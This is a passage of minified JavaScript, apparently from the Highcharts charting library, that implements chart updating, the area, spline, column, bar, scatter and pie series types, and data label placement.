nt=n.addEvent,h=n.animate,p=n.Axis,a=n.createElement,f=n.css,b=n.defined,i=n.each,v=n.erase,r=n.extend,w=n.fireEvent,e=n.inArray,s=n.isNumber,o=n.isObject,g=n.isArray,u=n.merge,l=n.objectEach,t=n.pick,tt=n.Point,d=n.Series,c=n.seriesTypes,k=n.setAnimation,y=n.splat;r(n.Chart.prototype,{addSeries:function(n,i,r){var f,u=this;return n&&(i=t(i,!0),w(u,"addSeries",{options:n},function(){f=u.initSeries(n),u.isDirtyLegend=!0,u.linkSeries(),i&&u.redraw(r)})),f},addAxis:function(n,i,r,f){var e=i?"xAxis":"yAxis",o=this.options;return n=u(n,{index:this[e].length,isX:i}),i=new p(this,n),o[e]=y(o[e]||{}),o[e].push(n),t(r,!0)&&this.redraw(f),i},showLoading:function(n){var t=this,o=t.options,i=t.loadingDiv,u=o.loading,e=function(){i&&f(i,{left:t.plotLeft+"px",top:t.plotTop+"px",width:t.plotWidth+"px",height:t.plotHeight+"px"})};i||(t.loadingDiv=i=a("div",{className:"highcharts-loading highcharts-loading-hidden"},null,t.container),t.loadingSpan=a("span",{className:"highcharts-loading-inner"},null,i),nt(t,"redraw",e)),i.className="highcharts-loading",t.loadingSpan.innerHTML=n||o.lang.loading,f(i,r(u.style,{zIndex:10})),f(t.loadingSpan,u.labelStyle),t.loadingShown||(f(i,{opacity:0,display:""}),h(i,{opacity:u.style.opacity||.5},{duration:u.showDuration||0})),t.loadingShown=!0,e()},hideLoading:function(){var t=this.options,n=this.loadingDiv;n&&(n.className="highcharts-loading highcharts-loading-hidden",h(n,{opacity:0},{duration:t.loading.hideDuration||100,complete:function(){f(n,{display:"none"})}})),this.loadingShown=!1},propsRequireDirtyBox:"backgroundColor borderColor borderWidth margin marginTop marginRight marginBottom marginLeft spacing spacingTop spacingRight spacingBottom spacingLeft borderRadius plotBackgroundColor plotBackgroundImage plotBorderColor plotBorderWidth plotShadow shadow".split(" "),propsRequireUpdateSeries:"chart.inverted chart.polar chart.ignoreHiddenSeries chart.type colors plotOptions tooltip".split(" "),update:function(n,r,f){var o=this,p={credits:"addCredits",title:"setTitle",subtitle:"setSubtitle"},h=n.chart,c,a,v=[];h&&(u(!0,o.options.chart,h),"className"in h&&o.setClassName(h.className),("inverted"in h||"polar"in h)&&(o.propFromSeries(),c=!0),"alignTicks"in h&&(c=!0),l(h,function(n,t){-1!==e("chart."+t,o.propsRequireUpdateSeries)&&(a=!0),-1!==e(t,o.propsRequireDirtyBox)&&(o.isDirtyBox=!0)}),"style"in h&&o.renderer.setStyle(h.style)),n.colors&&(this.options.colors=n.colors),n.plotOptions&&u(!0,this.options.plotOptions,n.plotOptions),l(n,function(n,t){o[t]&&"function"==typeof o[t].update?o[t].update(n,!1):"function"==typeof o[p[t]]&&o[p[t]](n),"chart"!==t&&-1!==e(t,o.propsRequireUpdateSeries)&&(a=!0)}),i("xAxis yAxis zAxis series colorAxis pane".split(" "),function(t){n[t]&&(i(y(n[t]),function(n,i){(i=b(n.id)&&o.get(n.id)||o[t][i])&&i.coll===t&&(i.update(n,!1),f&&(i.touched=!0)),!i&&f&&("series"===t?o.addSeries(n,!1).touched=!0:("xAxis"===t||"yAxis"===t)&&(o.addAxis(n,"xAxis"===t,!1).touched=!0))}),f&&i(o[t],function(n){n.touched?delete n.touched:v.push(n)}))}),i(v,function(n){n.remove(!1)}),c&&i(o.axes,function(n){n.update({},!1)}),a&&i(o.series,function(n){n.update({},!1)}),n.loading&&u(!0,o.options.loading,n.loading),c=h&&h.width,h=h&&h.height,s(c)&&c!==o.chartWidth||s(h)&&h!==o.chartHeight?o.setSize(c,h):t(r,!0)&&o.redraw()},setSubtitle:function(n){this.setTitle(void 0,n)}}),r(tt.prototype,{update:function(n,i,r,u){function a(){f.applyOptions(n),null===f.y&&s&&(f.graphic=s.destroy()),o(n,!0)&&(s&&s.element&&n&&n.marker&&void 0!==n.marker.symbol&&(f.graphic=s.destroy()),n&&n.dataLabels&&f.dataLabel&&(f.dataLabel=f.dataLabel.destroy()),f.connector&&(f.connector=f.connector.destroy())),h=f.index,e.updateParallelArrays(f,h),l.data[h]=o(l.data[h],!0)||o(n,!0)?f.options:n,e.isDirty=e.isDirtyData=!0,!e.fixedBox&&e.hasCartesianSeries&&(c.isDirtyBox=!0),"point"===l.legendType&&(c.isDirtyLegend=!0),i&&c.redraw(r)}var f=this,e=f.series,s=f.graphic,h,c=e.chart,l=e.options;i=t(i,!0),!1===u?a():f.firePointEvent("update",{options:n},a)},remove:function(n,t){this.series.removePoint(e(this,this.series.data),n,t)}}),r(d.prototype,{addPoint:function(n,i,r,u){var l=this.options,s=this.data,y=this.chart,o=this.xAxis,o=o&&o.hasNames&&o.names,a=l.data,e,v,c=this.xData,f,h;if(i=t(i,!0),e={series:this},this.pointClass.prototype.applyOptions.apply(e,[n]),h=e.x,f=c.length,this.requireSorting&&h<c[f-1])for(v=!0;f&&c[f-1]>h;)f--;this.updateParallelArrays(e,"splice",f,0,0),this.updateParallelArrays(e,f),o&&e.name&&(o[h]=e.name),a.splice(f,0,n),v&&(this.data.splice(f,0,null),this.processData()),"point"===l.legendType&&this.generatePoints(),r&&(s[0]&&s[0].remove?s[0].remove(!1):(s.shift(),this.updateParallelArrays(e,"shift"),a.shift())),this.isDirtyData=this.isDirty=!0,i&&y.redraw(u)},removePoint:function(n,i,r){var u=this,o=u.data,f=o[n],e=u.points,h=u.chart,s=function(){e&&e.length===o.length&&e.splice(n,1),o.splice(n,1),u.options.data.splice(n,1),u.updateParallelArrays(f||{series:u},"splice",n,1),f&&f.destroy(),u.isDirty=!0,u.isDirtyData=!0,i&&h.redraw()};k(r,h),i=t(i,!0),f?f.firePointEvent("remove",null,s):s()},remove:function(n,i,r){function e(){f.destroy(),u.isDirtyLegend=u.isDirtyBox=!0,u.linkSeries(),t(n,!0)&&u.redraw(i)}var f=this,u=f.chart;!1!==r?w(f,"remove",null,e):e()},update:function(n,f){var e=this,h=e.chart,y=e.userOptions,s=e.oldType||e.type,l=n.type||y.type||h.options.chart.type,w=c[s].prototype,v,a=["group","markerGroup","dataLabelsGroup"],o=["navigatorSeries","baseSeries"],p=e.finishedAnimating&&{animation:!1};if(Object.keys&&"data"===Object.keys(n).toString())return this.setData(n.data,f);(l&&l!==s||void 0!==n.zIndex)&&(a.length=0),o=a.concat(o),i(o,function(n){o[n]=e[n],delete e[n]}),n=u(y,p,{index:e.index,pointStart:e.xData[0]},{data:e.options.data},n),e.remove(!1,null,!1);for(v in w)e[v]=void 0;r(e,c[l||s].prototype),i(o,function(n){e[n]=o[n]}),e.init(h,n),e.oldType=s,h.linkSeries(),t(f,!0)&&h.redraw(!1)}}),r(p.prototype,{update:function(n,i){var f=this.chart;n=f.options[this.coll][this.options.index]=u(this.userOptions,n),this.destroy(!0),this.init(f,r(n,{events:void 0})),f.isDirtyBox=!0,t(i,!0)&&f.redraw()},remove:function(n){for(var r=this.chart,u=this.coll,e=this.series,f=e.length;f--;)e[f]&&e[f].remove(!1);v(r.axes,this),v(r[u],this),g(r.options[u])?r.options[u].splice(this.options.index,1):delete r.options[u],i(r[u],function(n,t){n.options.index=t}),this.destroy(),r.isDirtyBox=!0,t(n,!0)&&r.redraw()},setTitle:function(n,t){this.update({title:n},t)},setCategories:function(n,t){this.update({categories:n},t)}})}(t),function(n){var f=n.color,i=n.each,e=n.map,t=n.pick,r=n.Series,u=n.seriesType;u("area","line",{softThreshold:!1,threshold:0},{singleStacks:!1,getStackPoints:function(r){var l=[],s=[],w=this.xAxis,h=this.yAxis,o=h.stacks[this.stackKey],f={},c=this.index,p=h.series,y=p.length,a,v=t(h.options.reversedStacks,!0)?1:-1,u;if(r=r||this.points,this.options.stacking){for(u=0;u<r.length;u++)r[u].leftNull=r[u].rightNull=null,f[r[u].x]=r[u];n.objectEach(o,function(n,t){null!==n.total&&s.push(t)}),s.sort(function(n,t){return n-t}),a=e(p,function(){return this.visible}),i(s,function(n,t){var r=0,e,p;if(f[n]&&!f[n].isNull)l.push(f[n]),i([-1,1],function(i){var l=1===i?"rightNull":"leftNull",r=0,h=o[s[t+i]];if(h)for(u=c;0<=u&&u<y;)e=h.points[u],e||(u===c?f[n][l]=!0:a[u]&&(p=o[n].points[u])&&(r-=p[1]-p[0])),u+=v;f[n][1===i?"rightCliff":"leftCliff"]=r});else{for(u=c;0<=u&&u<y;){if(e=o[n].points[u]){r=e[1];break}u+=v}r=h.translate(r,0,1,0,1),l.push({isNull:!0,plotX:w.translate(n,0,0,0,1),x:n,plotY:r,yBottom:r})}})}return l},getGraphPath:function(n){var e=r.prototype.getGraphPath,f=this.options,o=f.stacking,c=this.yAxis,i,u,l=[],s=[],w=this.index,h,p=c.stacks[this.stackKey],b=f.threshold,a=c.getThreshold(f.threshold),v,f=f.connectNulls||"percent"===o,y=function(t,i,r){var u=n[t],v,f,e;t=o&&p[u.x].points[w],v=u[r+"Null"]||0,r=u[r+"Cliff"]||0,u=!0,r||v?(f=(v?t[0]:t[1])+r,e=t[0]+r,u=!!v):!o&&n[i]&&n[i].isNull&&(f=e=b),void 0!==f&&(s.push({plotX:h,plotY:null===f?a:c.getThreshold(f),isNull:u,isCliff:!0}),l.push({plotX:h,plotY:null===e?a:c.getThreshold(e),doCurve:!1}))};for(n=n||this.points,o&&(n=this.getStackPoints(n)),i=0;i<n.length;i++)(u=n[i].isNull,h=t(n[i].rectPlotX,n[i].plotX),v=t(n[i].yBottom,a),!u||f)&&(f||y(i,i-1,"left"),u&&!o&&f||(s.push(n[i]),l.push({x:i,plotX:h,plotY:v})),f||y(i,i+1,"right"));return i=e.call(this,s,!0,!0),l.reversed=!0,u=e.call(this,l,!0,!0),u.length&&(u[0]="L"),u=i.concat(u),e=e.call(this,s,!1,f),u.xMap=i.xMap,this.areaPath=u,e},drawGraph:function(){this.areaPath=[],r.prototype.drawGraph.apply(this);var n=this,e=this.areaPath,u=this.options,o=[["area","highcharts-area",this.color,u.fillColor]];i(this.zones,function(t,i){o.push(["zone-area-"+i,"highcharts-area highcharts-zone-area-"+i+" "+t.className,t.color||n.color,t.fillColor||u.fillColor])}),i(o,function(i){var o=i[0],r=n[o];r?(r.endX=n.preventGraphAnimation?null:e.xMap,r.animate({d:e})):(r=n[o]=n.chart.renderer.path(e).addClass(i[1]).attr({fill:t(i[3],f(i[2]).setOpacity(t(u.fillOpacity,.75)).get()),zIndex:0}).add(n.group),r.isArea=!0),r.startX=e.xMap,r.shiftUnit=u.step?2:1})},drawLegendSymbol:n.LegendSymbolMixin.drawRectangle})}(t),function(n){var t=n.pick;n=n.seriesType,n("spline","line",{},{getPointSpline:function(n,i,r){var h=i.plotX,u=i.plotY,o=n[r-1],l,e,s,f,c;return r=n[r+1],!o||o.isNull||!1===o.doCurve||i.isCliff||!r||r.isNull||!1===r.doCurve||i.isCliff||(n=o.plotY,s=r.plotX,r=r.plotY,c=0,l=(1.5*h+o.plotX)/2.5,e=(1.5*u+n)/2.5,s=(1.5*h+s)/2.5,f=(1.5*u+r)/2.5,s!==l&&(c=(f-e)*(s-h)/(s-l)+u-f),e+=c,f+=c,e>n&&e>u?(e=Math.max(n,u),f=2*u-e):e<n&&e<u&&(e=Math.min(n,u),f=2*u-e),f>r&&f>u?(f=Math.max(r,u),e=2*u-f):f<r&&f<u&&(f=Math.min(r,u),e=2*u-f),i.rightContX=s,i.rightContY=f),i=["C",t(o.rightContX,o.plotX),t(o.rightContY,o.plotY),t(l,h),t(e,u),h,u],o.rightContX=o.rightContY=null,i}})}(t),function(n){var t=n.seriesTypes.area.prototype,i=n.seriesType;i("areaspline","spline",n.defaultPlotOptions.area,{getStackPoints:t.getStackPoints,getGraphPath:t.getGraphPath,drawGraph:t.drawGraph,drawLegendSymbol:n.LegendSymbolMixin.drawRectangle})}(t),function(n){var s=n.animObject,o=n.color,t=n.each,c=n.extend,h=n.isNumber,u=n.merge,i=n.pick,r=n.Series,f=n.seriesType,e=n.svg;f("column","line",{borderRadius:0,crisp:!0,groupPadding:.2,marker:null,pointPadding:.1,minPointLength:0,cropThreshold:50,pointRange:null,states:{hover:{halo:!1,brightness:.1},select:{color:"#cccccc",borderColor:"#000000"}},dataLabels:{align:null,verticalAlign:null,y:null},softThreshold:!1,startFromThreshold:!0,stickyTracking:!1,tooltip:{distance:6},threshold:0,borderColor:"#ffffff"},{cropShoulder:0,directTouch:!0,trackerGroups:["group","dataLabelsGroup"],negStacks:!0,init:function(){r.prototype.init.apply(this,arguments);var i=this,n=i.chart;n.hasRendered&&t(n.series,function(n){n.type===i.type&&(n.isDirty=!0)})},getColumnMetrics:function(){var n=this,r=n.options,u=n.xAxis,a=n.yAxis,c=u.reversed,f,s={},e=0;!1===r.grouping?e=1:t(n.chart.series,function(t){var r=t.options,u=t.yAxis,i;t.type!==n.type||!t.visible&&n.chart.options.chart.ignoreHiddenSeries||a.len!==u.len||a.pos!==u.pos||(r.stacking?(f=t.stackKey,void 0===s[f]&&(s[f]=e++),i=s[f]):!1!==r.grouping&&(i=e++),t.columnIndex=i)});var o=Math.min(Math.abs(u.transA)*(u.ordinalSlope||r.pointRange||u.closestPointRange||u.tickInterval||1),u.len),l=o*r.groupPadding,h=(o-2*l)/(e||1),r=Math.min(r.maxPointWidth||u.len,i(r.pointWidth,h*(1-2*r.pointPadding)));return n.columnMetrics={width:r,offset:(h-r)/2+(l+((n.columnIndex||0)+(c?1:0))*h-o/2)*(c?-1:1)}},crispCol:function(n,t,i,r){var e=this.chart,u=this.borderWidth,f=-(u%2?.5:0),u=u%2?.5:1;return e.inverted&&e.renderer.isVML&&(u+=1),this.options.crisp&&(i=Math.round(n+i)+f,n=Math.round(n)+f,i-=n),r=Math.round(t+r)+u,f=.5>=Math.abs(t)&&.5<r,t=Math.round(t)+u,r-=t,f&&r&&(--t,r+=1),{x:n,y:t,width:i,height:r}},translate:function(){var n=this,s=n.chart,h=n.options,a=n.dense=2>n.closestPointRange*n.xAxis.transA,a=n.borderWidth=i(h.borderWidth,a?0:1),u=n.yAxis,o=h.threshold,e=n.translatedThreshold=u.getThreshold(o),f=i(h.minPointLength,5),v=n.getColumnMetrics(),l=v.width,c=n.barW=Math.max(l,1+2*a),y=n.pointXOffset=v.offset;s.inverted&&(e-=.5),h.pointPadding&&(c=Math.ceil(c)),r.prototype.translate.apply(n),t(n.points,function(t){var p=i(t.yBottom,e),r=999+Math.abs(p),r=Math.min(Math.max(-r,t.plotY),u.len+r),a=t.plotX+y,w=c,b=Math.min(r,p),v,h=Math.max(r,p)-b;f&&Math.abs(h)<f&&(h=f,v=!u.reversed&&!t.negative||u.reversed&&t.negative,t.y===o&&n.dataMax<=o&&u.min<o&&(v=!v),b=Math.abs(b-e)>f?p-f:e-(v?f:0)),t.barX=a,t.pointWidth=l,t.tooltipPos=s.inverted?[u.len+u.pos-s.plotLeft-r,n.xAxis.len-a-w/2,h]:[a+w/2,r+u.pos-s.plotTop,h],t.shapeType="rect",t.shapeArgs=n.crispCol.apply(n,t.isNull?[a,e,w,0]:[a,b,w,h])})},getSymbol:n.noop,drawLegendSymbol:n.LegendSymbolMixin.drawRectangle,drawGraph:function(){this.group[this.dense?"addClass":"removeClass"]("highcharts-dense-data")},pointAttribs:function(n,t){var e=this.options,r,f=this.pointAttrToOptions||{};r=f.stroke||"borderColor";var s=f["stroke-width"]||"borderWidth",i=n&&n.color||this.color,c=n&&n[r]||e[r]||this.color||i,h=n&&n[s]||e[s]||this[s]||0,f=e.dashStyle;return n&&this.zones.length&&(i=n.getZone(),i=n.options.color||i&&i.color||this.color),t&&(n=u(e.states[t],n.options.states&&n.options.states[t]||{}),t=n.brightness,i=n.color||void 0!==t&&o(i).brighten(n.brightness).get()||i,c=n[r]||c,h=n[s]||h,f=n.dashStyle||f),r={fill:i,stroke:c,"stroke-width":h},f&&(r.dashstyle=f),r},drawPoints:function(){var i=this,f=this.chart,n=i.options,e=f.renderer,o=n.animationLimit||250,r;t(i.points,function(t){var s=t.graphic;h(t.plotY)&&null!==t.y?(r=t.shapeArgs,s?s[f.pointCount<o?"animate":"attr"](u(r)):t.graphic=s=e[t.shapeType](r).add(t.group||i.group),n.borderRadius&&s.attr({r:n.borderRadius}),s.attr(i.pointAttribs(t,t.selected&&"select")).shadow(n.shadow,null,n.stacking&&!n.borderRadius),s.addClass(t.getClassName(),!0)):s&&(t.graphic=s.destroy())})},animate:function(n){var t=this,r=this.yAxis,h=t.options,o=this.chart.inverted,i={},f=o?"translateX":"translateY",u;e&&(n?(i.scaleY=.001,n=Math.min(r.pos+r.len,Math.max(r.pos,r.toPixels(h.threshold))),o?i.translateX=n-r.len:i.translateY=n,t.group.attr(i)):(u=t.group.attr(f),t.group.animate({scaleY:1},c(s(t.options.animation),{step:function(n,e){i[f]=u+e.pos*(r.pos-u),t.group.attr(i)}})),t.animate=null))},remove:function(){var n=this,i=n.chart;i.hasRendered&&t(i.series,function(t){t.type===n.type&&(t.isDirty=!0)}),r.prototype.remove.apply(n,arguments)}})}(t),function(n){n=n.seriesType,n("bar","column",null,{inverted:!0})}(t),function(n){var t=n.Series;n=n.seriesType,n("scatter","line",{lineWidth:0,findNearestPointBy:"xy",marker:{enabled:!0},tooltip:{headerFormat:'<span style="color:{point.color}">●</span> <span style="font-size: 0.85em"> {series.name}</span><br/>',pointFormat:"x: <b>{point.x}</b><br/>y: <b>{point.y}</b><br/>"}},{sorted:!1,requireSorting:!1,noSharedTooltip:!0,trackerGroups:["group","markerGroup","dataLabelsGroup"],takeOrdinalPosition:!1,drawGraph:function(){this.options.lineWidth&&t.prototype.drawGraph.call(this)}})}(t),function(n){var r=n.deg2rad,i=n.isNumber,t=n.pick,u=n.relativeLength;n.CenteredSeriesMixin={getCenter:function(){for(var r=this.options,f=this.chart,e=2*(r.slicedOffset||0),s=f.plotWidth-2*e,f=f.plotHeight-2*e,n=r.center,n=[t(n[0],"50%"),t(n[1],"50%"),r.size||"100%",r.innerSize||0],h=Math.min(s,f),o,i=0;4>i;++i)o=n[i],r=2>i||2===i&&/%$/.test(o),n[i]=u(o,[s,f,h,n[2]][i])+(r?e:0);return n[3]>n[2]&&(n[3]=n[2]),n},getStartAndEndRadians:function(n,t){return n=i(n)?n:0,t=i(t)&&t>n&&360>t-n?t:n+360,{start:r*(n+-90),end:r*(t+-90)}}}}(t),function(n){var e=n.addEvent,f=n.CenteredSeriesMixin,l=n.defined,i=n.each,a=n.extend,v=f.getStartAndEndRadians,r=n.inArray,u=n.noop,t=n.pick,c=n.Point,h=n.Series,o=n.seriesType,s=n.setAnimation;o("pie","line",{center:[null,null],clip:!1,colorByPoint:!0,dataLabels:{distance:30,enabled:!0,formatter:function(){if(!this.point.isNull)return this.point.name},x:0},ignoreHiddenPoint:!0,legendType:"point",marker:null,size:null,showInLegend:!1,slicedOffset:10,stickyTracking:!1,tooltip:{followPointer:!0},borderColor:"#ffffff",borderWidth:1,states:{hover:{brightness:.1,shadow:!1}}},{isCartesian:!1,requireSorting:!1,directTouch:!0,noSharedTooltip:!0,trackerGroups:["group","dataLabelsGroup"],axisTypes:[],pointAttribs:n.seriesTypes.column.prototype.pointAttribs,animate:function(n){var t=this,u=t.points,r=t.startAngleRad;n||(i(u,function(n){var u=n.graphic,i=n.shapeArgs;u&&(u.attr({r:n.startR||t.center[3]/2,start:r,end:r}),u.animate({r:i.r,start:i.start,end:i.end},t.options.animation))}),t.animate=null)},updateTotals:function(){for(var i=0,r=this.points,f=r.length,n,u=this.options.ignoreHiddenPoint,t=0;t<f;t++)n=r[t],i+=u&&!n.visible?0:n.isNull?0:n.y;for(this.total=i,t=0;t<f;t++)n=r[t],n.percentage=0<i&&(n.visible||!u)?n.y/i*100:0,n.total=i},generatePoints:function(){h.prototype.generatePoints.call(this),this.updateTotals()},translate:function(n){this.generatePoints();var c=0,f=this.options,a=f.slicedOffset,b=a+(f.borderWidth||0),e,u,i,s=v(f.startAngle,f.endAngle),l=this.startAngleRad=s.start,s=(this.endAngleRad=s.end)-l,y=this.points,o,p=f.dataLabels.distance,f=f.ignoreHiddenPoint,h,w=y.length,r;for(n||(this.center=n=this.getCenter()),this.getX=function(t,r,u){return i=Math.asin(Math.min((t-n[1])/(n[2]/2+u.labelDistance),1)),n[0]+(r?-1:1)*Math.cos(i)*(n[2]/2+u.labelDistance)},h=0;h<w;h++)r=y[h],r.labelDistance=t(r.options.dataLabels&&r.options.dataLabels.distance,p),this.maxLabelDistance=Math.max(this.maxLabelDistance||0,r.labelDistance),e=l+c*s,(!f||r.visible)&&(c+=r.percentage/100),u=l+c*s,r.shapeType="arc",r.shapeArgs={x:n[0],y:n[1],r:n[2]/2,innerR:n[3]/2,start:Math.round(1e3*e)/1e3,end:Math.round(1e3*u)/1e3},i=(u+e)/2,i>1.5*Math.PI?i-=2*Math.PI:i<-Math.PI/2&&(i+=2*Math.PI),r.slicedTranslation={translateX:Math.round(Math.cos(i)*a),translateY:Math.round(Math.sin(i)*a)},u=Math.cos(i)*n[2]/2,o=Math.sin(i)*n[2]/2,r.tooltipPos=[n[0]+.7*u,n[1]+.7*o],r.half=i<-Math.PI/2||i>Math.PI/2?1:0,r.angle=i,e=Math.min(b,r.labelDistance/5),r.labelPos=[n[0]+u+Math.cos(i)*r.labelDistance,n[1]+o+Math.sin(i)*r.labelDistance,n[0]+u+Math.cos(i)*e,n[1]+o+Math.sin(i)*e,n[0]+u,n[1]+o,0>r.labelDistance?"center":r.half?"right":"left",i]},drawGraph:null,drawPoints:function(){var n=this,e=n.chart.renderer,r,t,o,u,f=n.options.shadow;f&&!n.shadowGroup&&(n.shadowGroup=e.g("shadow").add(n.group)),i(n.points,function(i){if(t=i.graphic,i.isNull)t&&(i.graphic=t.destroy());else{u=i.shapeArgs,r=i.getTranslate();var s=i.shadowGroup;f&&!s&&(s=i.shadowGroup=e.g("shadow").add(n.shadowGroup)),s&&s.attr(r),o=n.pointAttribs(i,i.selected&&"select"),t?t.setRadialReference(n.center).attr(o).animate(a(u,r)):(i.graphic=t=e[i.shapeType](u).setRadialReference(n.center).attr(r).add(n.group),i.visible||t.attr({visibility:"hidden"}),t.attr(o).attr({"stroke-linejoin":"round"}).shadow(f,s)),t.addClass(i.getClassName())}})},searchPoint:u,sortByAngle:function(n,t){n.sort(function(n,i){return void 0!==n.angle&&(i.angle-n.angle)*t})},drawLegendSymbol:n.LegendSymbolMixin.drawRectangle,getCenter:f.getCenter,getSymbol:u},{init:function(){c.prototype.init.apply(this,arguments);var n=this,i;return n.name=t(n.name,"Slice"),i=function(t){n.slice("select"===t.type)},e(n,"select",i),e(n,"unselect",i),n},isValid:function(){return n.isNumber(this.y,!0)&&0<=this.y},setVisible:function(n,u){var f=this,e=f.series,s=e.chart,o=e.options.ignoreHiddenPoint;u=t(u,o),n!==f.visible&&(f.visible=f.options.visible=n=void 0===n?!f.visible:n,e.options.data[r(f,e.data)]=f.options,i(["graphic","dataLabel","connector","shadowGroup"],function(t){f[t]&&f[t][n?"show":"hide"](!0)}),f.legendItem&&s.legend.colorizeItem(f,n),n||"hover"!==f.state||f.setState(""),o&&(e.isDirty=!0),u&&s.redraw())},slice:function(n,i,u){var f=this.series;s(u,f.chart),t(i,!0),this.sliced=this.options.sliced=l(n)?n:!this.sliced,f.options.data[r(this,f.data)]=this.options,this.graphic.animate(this.getTranslate()),this.shadowGroup&&this.shadowGroup.animate(this.getTranslate())},getTranslate:function(){return this.sliced?this.slicedTranslation:{translateX:0,translateY:0}},haloPath:function(n){var t=this.shapeArgs;return this.sliced||!this.visible?[]:this.series.chart.renderer.symbols.arc(t.x,t.y,t.r+n,t.r+n,{innerR:this.shapeArgs.r,start:t.start,end:t.end})}})}(t),function(n){var c=n.addEvent,h=n.arrayMax,f=n.defined,i=n.each,s=n.extend,v=n.format,l=n.map,o=n.merge,a=n.noop,t=n.pick,y=n.relativeLength,u=n.Series,r=n.seriesTypes,e=n.stableSort;n.distribute=function(n,r){function h(n,t){return n.target-t.target}for(var f=!0,s=n,c=[],o=0,u=n.length;u--;)o+=n[u].size;if(o>r){for(e(n,function(n,t){return(t.rank||0)-(n.rank||0)}),o=u=0;o<=r;)o+=n[u].size,u++;c=n.splice(u-1,n.length)}for(e(n,h),n=l(n,function(n){return{size:n.size,targets:[n.target],align:t(n.align,.5)}});f;){for(u=n.length;u--;)f=n[u],o=(Math.min.apply(0,f.targets)+Math.max.apply(0,f.targets))/2,f.pos=Math.min(Math.max(0,o-f.size*f.align),r-f.size);for(u=n.length,f=!1;u--;)0<u&&n[u-1].pos+n[u-1].size>n[u].pos&&(n[u-1].size+=n[u].size,n[u-1].targets=n[u-1].targets.concat(n[u].targets),n[u-1].align=.5,n[u-1].pos+n[u-1].size>r&&(n[u-1].pos=r-n[u-1].size),n.splice(u,1),f=!0)}u=0,i(n,function(n){var t=0;i(n.targets,function(){s[u].pos=n.pos+t,t+=s[u].size,u++})}),s.push.apply(s,c),e(s,h)},u.prototype.drawDataLabels=function(){function b(n,t){var i=t.filter;return i?(t=i.operator,n=n[i.property],i=i.value,">"===t&&n>i||"<"===t&&n<i||">="===t&&n>=i||"<="===t&&n<=i||"=="===t&&n==i||"==="===t&&n===i?!0:!1):!0}var u=this,e=u.options,r=e.dataLabels,k=u.points,l,y,a=u.hasRendered||0,h,s,p=t(r.defer,!!e.animation),w=u.chart.renderer;(r.enabled||u._hasPointLabels)&&(u.dlProcessOptions&&u.dlProcessOptions(r),s=u.plotGroup("dataLabelsGroup","data-labels",p&&!a?"hidden":"visible",r.zIndex||6),p&&(s.attr({opacity:+a}),a||c(u,"afterAnimate",function(){u.visible&&s.show(!0),s[e.animation?"animate":"attr"]({opacity:1},{duration:200})})),y=r,i(k,function(i){var k,c=i.dataLabel,p,d,g=i.connector,nt=!c,a;l=i.dlOptions||i.options&&i.options.dataLabels,(k=t(l&&l.enabled,y.enabled)&&!i.isNull)&&(k=!0===b(i,l||r)),k&&(r=o(y,l),p=i.getLabelConfig(),a=r[i.formatPrefix+"Format"]||r.format,h=f(a)?v(a,p):(r[i.formatPrefix+"Formatter"]||r.formatter).call(p,r),a=r.style,p=r.rotation,a.color=t(r.color,a.color,u.color,"#000000"),"contrast"===a.color&&(i.contrastColor=w.getContrast(i.color||u.color),a.color=r.inside||0>t(i.labelDistance,r.distance)||e.stacking?i.contrastColor:"#000000"),e.cursor&&(a.cursor=e.cursor),d={fill:r.backgroundColor,stroke:r.borderColor,"stroke-width":r.borderWidth,r:r.borderRadius||0,rotation:p,padding:r.padding,zIndex:1},n.objectEach(d,function(n,t){void 0===n&&delete d[t]})),!c||k&&f(h)?k&&f(h)&&(c?d.text=h:(c=i.dataLabel=w[p?"text":"label"](h,0,-9999,r.shape,null,null,r.useHTML,null,"data-label"),c.addClass("highcharts-data-label-color-"+i.colorIndex+" "+(r.className||"")+(r.useHTML?"highcharts-tracker":""))),c.attr(d),c.css(a).shadow(r.shadow),c.added||c.add(s),u.alignDataLabel(i,c,r,null,nt)):(i.dataLabel=c=c.destroy(),g&&(i.connector=g.destroy()))}))},u.prototype.alignDataLabel=function(n,i,r,u,f){var c=this.chart,l=c.inverted,e=t(n.dlBox&&n.dlBox.centerX,n.plotX,-9999),h=t(n.plotY,-9999),o=i.getBBox(),y,v=r.rotation,a=r.align,p=this.visible&&(n.series.forceDL||c.isInsidePlot(e,Math.round(h),l)||u&&c.isInsidePlot(e,l?u.x+1:u.y+u.height-1,l)),w="justify"===t(r.overflow,"justify");p&&(y=r.style.fontSize,y=c.renderer.fontMetrics(y,i).b,u=s({x:l?this.yAxis.len-h:e,y:Math.round(l?this.xAxis.len-e:h),width:0,height:0},u),s(r,{width:o.width,height:o.height}),v?(w=!1,e=c.renderer.rotCorr(y,v),e={x:u.x+r.x+u.width/2+e.x,y:u.y+r.y+{top:0,middle:.5,bottom:1}[r.verticalAlign]*u.height},i[f?"attr":"animate"](e).attr({align:a}),h=(v+720)%360,h=180<h&&360>h,"left"===a?e.y-=h?o.height:0:"center"===a?(e.x-=o.width/2,e.y-=o.height/2):"right"===a&&(e.x-=o.width,e.y-=h?0:o.height)):(i.align(r,null,u),e=i.alignAttr),w?n.isLabelJustified=this.justifyDataLabel(i,r,e,o,u,f):t(r.crop,!0)&&(p=c.isInsidePlot(e.x,e.y)&&c.isInsidePlot(e.x+o.width,e.y+o.height)),r.shape&&!v)&&i[f?"attr":"animate"]({anchorX:l?c.plotWidth-n.plotY:n.plotX,anchorY:l?c.plotHeight-n.plotX:n.plotY}),p||(i.attr({y:-9999}),i.placed=!1)},u.prototype.justifyDataLabel=function(n,t,i,r,u,f){var h=this.chart,l=t.align,c=t.verticalAlign,e,o,s=n.box?0:n.padding||0;return e=i.x+s,0>e&&("right"===l?t.align="left":t.x=-e,o=!0),e=i.x+r.width-s,e>h.plotWidth&&("left"===l?t.align="right":t.x=h.plotWidth-e,o=!0),e=i.y+s,0>e&&("bottom"===c?t.verticalAlign="top":t.y=-e,o=!0),e=i.y+r.height-s,e>h.plotHeight&&("top"===c?t.verticalAlign="bottom":t.y=h.plotHeight-e,o=!0),o&&(n.placed=!f,n.align(t,null,u)),o},r.pie&&(r.pie.prototype.drawDataLabels=function(){var 